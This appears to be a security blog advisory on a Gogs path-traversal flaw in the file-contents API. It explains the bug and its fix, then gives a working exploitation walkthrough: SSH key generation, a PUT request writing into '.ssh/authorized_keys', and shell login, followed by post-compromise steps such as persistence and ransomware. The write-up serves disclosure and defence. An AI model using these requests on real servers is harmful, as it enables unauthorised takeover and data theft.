Feb 18, 2026·6 min read·3 visits
Gogs API didn't sanitize file paths. Bad guys can send `../../` to write files outside the repo. Writing your own SSH key to `~/.ssh/authorized_keys` equals instant RCE. Fixed in 0.13.1.
A critical Path Traversal vulnerability in Gogs (Go Git Service) allows authenticated users to escape the repository directory and write arbitrary files anywhere on the host filesystem. By exploiting the 'PutContents' API, attackers can overwrite the `authorized_keys` file of the user running the Gogs process (typically `git`), granting them immediate SSH access and Remote Code Execution (RCE) on the server.
Gogs (Go Git Service) has always been the darling of the self-hosted community. It's lightweight, written in Go, and easy to deploy. It promises a GitHub-like experience on your own hardware, giving you full control over your code. Unfortunately, in versions prior to 0.13.1, it also gave anyone with a login full control over your server.
This isn't your garden-variety cross-site scripting bug where you steal a cookie and feel cool for five minutes. This is a catastrophic implementation failure in how Gogs handles file paths. Specifically, the API endpoints responsible for creating and updating files trusted user input a little too much. It assumed that when a user asked to update a file, they meant a file inside the repository.
But as any seasoned breaker of things knows, assumptions are the mother of all exploits. By neglecting to sanitize file paths, Gogs created a direct tunnel from a web request to the underlying filesystem. It turned a feature designed for editing README.md into a tool for overwriting ~/.ssh/authorized_keys, handing over the keys to the kingdom on a silver platter.
The vulnerability (CWE-22) resides in the PutContents API, specifically at PUT /api/v1/repos/{owner}/{repo}/contents/{path}. In a secure world, the application would take the {path} parameter, strip out any shenanigans, and ensure the final destination resolves to a subdirectory of the repository root. Gogs, however, decided to play it fast and loose.
When the backend received a request to write a file, it took the user-supplied treePath (the file path) and essentially concatenated it with the repository's base directory. The fatal mistake was failing to neutralize directory traversal sequences—the infamous ../ (dot-dot-slash). In the Unix world, ../ means "go up one folder."
If you tell Gogs to write to config/app.ini, it writes to /home/git/gogs-repositories/user/repo.git/config/app.ini. Fine. But if you tell it to write to ../../../../.ssh/authorized_keys, the application obediently traverses up the directory tree, escaping the repository jail entirely. It lands squarely in the home directory of the user running the process, ready to overwrite whatever sensitive config files live there.
Let's look at the smoking gun. The fix, implemented in Pull Request #7859, reveals exactly what was missing. The developers introduced a new helper function, pathutil.Clean, to wrap untrusted input before using it. This acts as a scrubber, chemically washing the input before it touches the filesystem APIs.
Here is the sanitization logic they had to add in internal/pathutil/pathutil.go:
// Clean cleans up given path and returns a relative path that goes straight
// down to prevent path traversal.
func Clean(p string) string {
// Step 1: Normalize Windows backslashes to forward slashes
p = strings.ReplaceAll(p, `\`, "/")
// Step 2: Use Go's robust path.Clean on an absolute path representation
// This resolves "/foo/../bar" to "/bar"
return strings.Trim(path.Clean("/"+p), "/")
}Before this patch, the application likely used raw string concatenation or a naive filepath.Join without prior cleaning, which, depending on the implementation and operating system, doesn't always strip traversal characters if the input is treated as a relative path component. The fix forces the path to be absolute (temporarily) to resolve the ../ sequences using path.Clean, and then strips the leading slash to ensure the result is a safe, relative path that cannot ascend above its root.
So, how do we weaponize this? We need an authenticated account with 'Writer' access to a repository. Once we have that, we don't need to find a buffer overflow or leak memory addresses. we just need to ask Gogs nicely to let us in.
Step 1: The Setup
First, generate a new SSH keypair on your attacking machine:
ssh-keygen -t ed25519 -f gogs_pwn
Copy the contents of gogs_pwn.pub.
Step 2: The Payload
Construct a malicious PUT request. We are aiming for the .ssh directory of the user running Gogs (usually git).
PUT /api/v1/repos/target_user/target_repo/contents/../../../../.ssh/authorized_keys HTTP/1.1
Host: gogs.target.local
Authorization: token [YOUR_API_TOKEN]
Content-Type: application/json
{
"message": "Oops, I dropped my keys",
"content": "[BASE64_ENCODED_PUBLIC_KEY]",
"branch": "master"
}Step 3: The Prestige
Send the request. Gogs processes the path ../../../../.ssh/authorized_keys. It resolves the traversal, escapes the repo folder, finds the .ssh directory, and writes your public key into the authorized_keys file.
Step 4: The Shell
ssh -i gogs_pwn git@gogs.target.local
Congratulations. You are now the git user. You have full shell access to the server, access to all repositories, environment variables (database credentials), and a pivot point into the internal network.
The CVSS score is 8.8 (High), but functionally, this is a critical catastrophe for affected instances. The requirement for authentication is a low barrier to entry—any developer, contractor, or compromised account with write access to any repository can take over the entire server.
If Gogs is running inside a Docker container, you own the container. You can dump the database, steal source code, or use the container to launch attacks against other services in the mesh. If Gogs is running on bare metal (a common setup for small teams), you own the host. You can pivot to root using local privilege escalation exploits, install persistence, or deploy ransomware.
What makes this particularly nasty is the stealth. Modifying authorized_keys doesn't crash the service. It doesn't spike CPU usage. Unless you have file integrity monitoring on your SSH configuration (and let's be honest, you probably don't), the attacker can maintain access indefinitely, blending in with legitimate Git traffic.
Remediation is straightforward but urgent: Upgrade Gogs to version 0.13.1 immediately. This version includes the pathutil.Clean fix that neutralizes the traversal path characters.
> [!WARNING] > Heads Up: Security is a game of whack-a-mole. While version 0.13.1 fixes this specific traversal issue, researchers (specifically from Wiz) later found that this fix could still be bypassed using symlinks (tracked as CVE-2025-8110). If the attacker can commit a symlink to the repo, they can trick the validator.
Defense in Depth:
/root or /home.../ or %2e%2e%2f in the URL path, although this is a flimsy shield against encoded variations.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Gogs Gogs | < 0.13.1 | 0.13.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network (Authenticated) |
| EPSS Score | 81.78% (High Probability) |
| Impact | Remote Code Execution (RCE) |
| KEV Status | Not Listed (but bypass CVE-2025-8110 is active) |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.